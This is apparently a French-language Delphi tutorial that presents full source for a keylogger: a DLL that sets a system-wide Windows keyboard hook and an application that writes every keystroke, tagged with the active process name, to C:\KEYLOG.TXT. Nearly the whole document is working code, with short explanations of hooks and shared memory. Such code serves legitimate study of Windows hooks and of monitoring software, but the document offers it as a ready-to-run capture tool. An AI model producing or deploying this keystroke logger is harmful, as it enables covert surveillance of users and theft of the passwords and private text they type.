|
PRÉSENTATION :
KEYLOGGER, ou programme de suivi des touches appuyées sur l'ordinateur.
NOTES :
Ce programme est basé sur l'utilisation des Hooks de windows. Les hooks permettent d'être avertis de certaines catégories d'évènements : clavier, souris...
Ainsi à chaque appui de touche une procédure du programme de suivi est appelée. Mais c'est là que les choses se compliquent : comme l'appel de procédure
s'effectue dans l'environnement de l'application concernée, les variables du programme, même globales ne sont pas accessibles. C'est pourquoi la procédure
appelée doit être située dans une dll, car elle peut être appelée en restant dans l'environnement des applications.
Le suivi des touches est alors effectué dans un fichier dont le nom est connu. Par souci de vitesse, le mieux est d'utiliser un fichier placé en mémoire
ainsi aucun n'accès disque n'est effectué.
L'application présentée ici implémente le KeyLogger tel que présenté ci-dessus. Reportez-vous à l'aide SDK pour plus de détails
La structure du fichier généré est la suivante :
S000TTTT=PROCESS.EXE
S : 0 quand la touche est appuyée, 8 quand la touche est lâchée
TTTT : Code virtuel de la touche, voir l'aide de delphi pour avoir la liste des codes
PROCESS.EXE : nom de l'exécutable actif au moment de l'appui/lâché de la touche
Par exemple si dans Internet Explorer vous appuyez et lâchez les touches ABCD vous obtenez :
00000041=IEXPLORE.EXE
80000041=IEXPLORE.EXE
00000042=IEXPLORE.EXE
80000042=IEXPLORE.EXE
00000043=IEXPLORE.EXE
80000043=IEXPLORE.EXE
00000044=IEXPLORE.EXE
80000044=IEXPLORE.EXE
CODE :
//**************************************************************************
//* Source de la dll
//**************************************************************************
Library DllHook;
Uses
SysUtils,Windows,Classes;
{$R *.res}
// Définition d'un buffer intermédiaire de stockage des touches
// 127 touches maxi en attente de lecture pas GetNextKey()
Type
PKeyBuffer = ^TKeyBuffer;
TKeyBuffer = Record
kbIN :Integer;
kbOUT :Integer;
kbKEY :Array[0..127] Of Integer;
kbID :Array[0..127] Of Integer;
End;
// Handle des accès aux Hook et FileMapping par l'application principale
// Ces données bien que globales ne sont pas accessible par les autres
// process. Elles ne peuvent donc pas être utilisées par la fonction
// CallBack du hook.
Var
HandleHook :Integer =0;
HandleFile :Integer =0;
Pointeur :PKeyBuffer =Nil;
// Fonction CallBack du hook placé sur le clavier. Les touches lues sont placées
// dans le buffer pour être ensuite lues par la fonction GetNextKey().
Function KeyboardHook(code: Integer; wparam: WPARAM; lparam: LPARAM): LRESULT stdcall;
Var HandleFileLocal:Integer;
PointeurLocal :PKeyBuffer;
Adresse :Integer;
Begin
// Il faut penser que cette fonction s'exécute dans chaque process actif.
// Les données globales de la dll ne sont donc pas accessibles. Le file
// mapping permet de palier à ce problème en offre un espace mémoire
// facile d'accès en n'en connaissant que le nom.
HandleFileLocal:=OpenFileMapping(File_MAP_WRITE,False,'KEYHOOK');
If HandleFileLocal<>0
Then Begin
PointeurLocal:=PKeyBuffer(MapViewOfFile(HandleFileLocal,File_MAP_WRITE,0,0,0));
If PointeurLocal<>Nil
Then Begin
// Une fois le FileMapping effectué, le buffer est en accès direct, on ajoute
// alors la nouvelle touche à la suite de la file
// WParam contient le code de touche virtuel
// Le bit 31 de LParam est à 0 pour un KeyDown et à 1 pour un KeyUp
Adresse:=(PointeurLocal^.kbIN+1)And 127;
PointeurLocal^.kbID [Adresse]:=GetCurrentProcessId;
PointeurLocal^.kbKEY[Adresse]:=(WParam And $0000FFFF)+(LParam And Longint($80000000));
PointeurLocal^.kbIN :=Adresse;
UnMapViewOfFile(PointeurLocal);
End;
CloseHandle(HandleFileLocal);
End;
Result:=CallNextHookEx(HandleHook,code,wparam,lparam);
End;
// Procédure d'initialisation du Hook et de création du FileMapping
// Elle doit être appelée une fois et une seule en début de votre application
Function StartHook:Boolean;StdCall;
Begin
HandleFile:=CreateFileMapping
($FFFFFFFF // Handle mémoire => partage de mémoire et non de fichier
,Nil // Sécurité par défaut
,PAGE_READWRITE // Accès en lecture/écriture
,0 // Taille de la zone partagée HIGH
,SizeOf(TKeyBuffer) // Taille de la zone partagée LOW
,'KEYHOOK' ); // Nom du partage
If HandleFile<>0
Then Pointeur:=PKeyBuffer(MapViewOfFile
(HandleFile // Handle obtenu par CreateFileMapping
,File_MAP_WRITE // Accès en lecture/écriture
,0 // Pas d'offset
,0 // Pas d'offset
,0)); // Mapping de tout le fichier
If Pointeur<>Nil
Then Begin
Pointeur^.kbIN :=0; // Initialisation de la file d'attente
Pointeur^.kbOUT :=0;
End;
HandleHook:=SetWindowsHookEx
(WH_KEYBOARD // Type de HOOK utilisé ( sur le clavier ici )
,KeyboardHook // Adresse de la fonction CallBack qui sera appelée
,hInstance // Handle de la dll demandant le Hook
,0); // Pas d'ID Thread, car on veut un Hook système
Result:=(HandleHook<>0) And (HandleFile<>0) And (Pointeur<>Nil);
End;
// Procédure de fermeture du Hook
// Doit être appelée en fin d'application
Function StopHook:Boolean;StdCall;
Begin
Result:=True;
If Pointeur<>Nil Then UnMapViewOfFile(Pointeur); // Libération du mapping
If HandleFile<>0 Then CloseHandle(HandleFile); // Fermeture du fichier
If HandleHook<>0 Then Result:=UnHookWindowsHookEx(HandleHook); // Suppression du Hook
End;
// Procédure de lecture du buffer des touches par l'application.
// Chaque appel de la fonction envoi la touche suivante. La fonction
// renvoi True si une touche est effectivement disponible dans le buffer.
// Dans ce cas Key contient le code virtuel de la touche
// avec en plus dans le bit 31 de key, l'état KeyUP/KeyDown.
// Si le buffer est vide, la fonction renvoie False.
Function GetNextKey(Var Key,ID:Integer):Boolean;StdCall;
Var Adresse:Integer;
Begin
If Pointeur^.kbIN<>Pointeur^.kbOUT
Then Begin
Adresse:=(Pointeur^.kbOUT+1)And 127;
ID := Pointeur^.kbID [Adresse];
Key := Pointeur^.kbKEY[Adresse];
Pointeur^.kbOUT := Adresse;
Result:=True;
End
Else Result:=False;
End;
Exports StartHook,StopHook,GetNextKey;
End.
//**************************************************************************
//* Source de l'application
//**************************************************************************
Unit Unit1;
Interface
Uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, ExtCtrls;
Type
TForm1 = Class(TForm)
Timer1: TTimer;
Procedure Timer1Timer(Sender: TObject);
Private
{ Déclarations privées }
Public
{ Déclarations publiques }
End;
Var
Form1: TForm1;
// Définition des prototype de fonctions contenues dans la dll
// Voir le source de la dll pour plus de détails
Function StartHook :Boolean; stdcall; external 'DllHook.dll';
Function StopHook :Boolean; stdcall; external 'DllHook.dll';
Function GetNextKey(Var Key,ID:Integer) :Boolean; stdcall; external 'DllHook.dll';
Implementation
{$R *.dfm}
Uses tlHelp32;
// Variable contenant la liste actuelle des process
Var ListeProcess :TStrings;
// Variable contenant le fichier texte en cours d'écriture
Fichier :TextFile;
// Procédure de mise à jour de la liste des process
// Elle est appelée chaque fois qu'un IdProcess est inconnu dans la liste actuelle
Procedure MiseAJourListeProcess;
Var h :Integer;
me32:TProcessEntry32;
Begin
ListeProcess.Clear;
h := CreateToolHelp32Snapshot(TH32CS_SNAPPROCESS,0);
me32.dwSize := sizeof(me32);
If Process32First(h,me32)
Then Repeat
ListeProcess.Add(IntToHex(Me32.th32ProcessID,8)
+UpperCase(ExtractFileName(StrPas (Me32.szExeFile))));
Until Not Process32Next(h,me32);
CloseHandle(h);
End;
// Cherche le nom du fichier EXE en fonction de l'IdProcess
Function ChercheNomProcess(ProcessId:Cardinal):String;
Var i :Integer;
Chaine:String;
Begin
Result:='';
Chaine:=IntToHex(ProcessID,8);
For i:=0 To listeProcess.Count-1 Do If Copy(ListeProcess[i],1,8)=Chaine
Then Begin
Result:=Copy(ListeProcess[i],9,Length(ListeProcess[i])-8);
Break;
End;
End;
// Le timer permet de tester périodiquement l'état du buffer des touches
Procedure TForm1.Timer1Timer(Sender: TObject);
Var ProcessId:Integer;
Key :Integer;
Nom :String;
Begin
// Tant qu'une touche est présente...
While GetNextKey(Key,ProcessID) Do
Begin
// ... on cherche le nom de l'EXE ...
Nom:=ChercheNomProcess(ProcessId);
If Nom=''
Then Begin
// ... si par hasard il s'agit d'un nouveau process
// on met à jour la liste et on cherche de nouveau...
MiseAJourListeProcess;
Nom:=ChercheNomProcess(ProcessId);
If Nom='' Then Nom:='<INCONNU>';
End;
// ... enfin on stock la touche dans le fichier.
WriteLn(Fichier,IntToHex(Key,8)+'='+Nom);
End;
End;
Initialization
Application.Title:='Nono40';
// Ouverture en écriture du fichier texte
AssignFile(Fichier,'C:\KEYLOG.TXT');
If FileExists('C:\KEYLOG.TXT') Then Append(Fichier)
Else Rewrite(Fichier);
// Lancement du hook
If Not StartHook Then ShowMessage('Erreur de lancement du HOOK');
ListeProcess:=TStringList.Create;
Finalization
ListeProcess.Free;
// Arrêt du Hook
StopHook;
// et fermeture du fichier
CloseFile(Fichier);
End.
|
| |